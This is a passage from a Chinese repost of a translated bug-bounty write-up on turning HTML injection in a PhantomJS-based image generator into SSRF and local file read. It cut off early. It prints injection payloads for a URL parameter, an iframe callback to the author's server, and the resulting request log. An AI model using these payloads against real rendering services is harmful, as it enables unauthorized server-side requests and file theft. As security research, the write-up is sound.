这篇文章实在是太好了,我看了好几篇,所以极力推荐给大家
原文地址
http://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/
译文地址
https://xianzhi.aliyun.com/forum/read/1808.html
转载至
http://paper.seebug.org/344/
在一次赏金程序中,我碰见这么一个请求,用户输入然后生成图片供下载。过了一会儿,我便把图片内部的
XSS 升级成服务端的任意文件读取漏洞。因为程序的隐私性,所以我将尽力抹掉敏感信息。原始请求如下:
[AppleScript]
纯文本查看 复制代码
1
|
https
:
/
/
website
/
download?background
=
file
.jpg
&
author
=
Brett
&
header
=
Test
&
text
=
&
width
=
500
&
height
=
500
|
最开始我执着于
background 参数,因为 background 的值是文件名,我认为这个参数看上去是最有意思的。接着在对参数进行了混淆后,我发现 header 参数存在 HTML 注入。因为之前阅读过 pdf 中 xss 引起严重漏洞的笔记,所以我决定在这一点上进行深入。
请求:
[AppleScript]
纯文本查看 复制代码
1
|
https
:
/
/
website
/
download?background
=
file
.jpg
&
author
=
Brett
&
header
=
"
>
<
u
>
test
&
text
=
&
width
=
500
&
height
=
500
|
返回:
接着我尝试了任意
HTML 元素,结果非常有意思:基本上所有的 html 元素(iframe、img、script等)都被浏览器解析了。为了获取更多关于是什么在处理 html 的信息,我决定用自己的服务器作为 ssrf 目标。
[AppleScript]
纯文本查看 复制代码
1
|
https
:
/
/
website
/
download?background
=
file
.jpg
&
author
=
Brett
&
header
=
<
iframe src
=
https
:
/
/
xss.buer.haus
/
ssrftest
>
<
/
iframe
>
&
text
=
&
width
=
500
&
height
=
500
|
我自己的服务器端日志记录如下:
[AppleScript]
纯文本查看 复制代码
1
|
[
25
/
Jun
/
2017
:
20
:
31
:
49
-0400
]
"GET /ssrftest HTTP/1.1"
404
548
"-"
"Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"
|
从上面的记录可知,请求字段中的
UA 字段表明了 HTML 页面的加载和图像的生成是由无 UA 头浏览器客户端 PhantomJS 来完成的。在 Phantom 方面,我是颇有经验的,因为 CTF 比赛中经常能碰到,同时我在自己的网络扫描器使用 Phantom 完成网站截图功能。知道了是 PhantomJS 处理 HTML ,这对于漏洞利用来说这是个好消息,因为这解释了我之前尝试利用漏洞时遇到的一些问题。
我遇到的第一个问题是基本的
payload 总是不能执行。比如说 ')"
/
>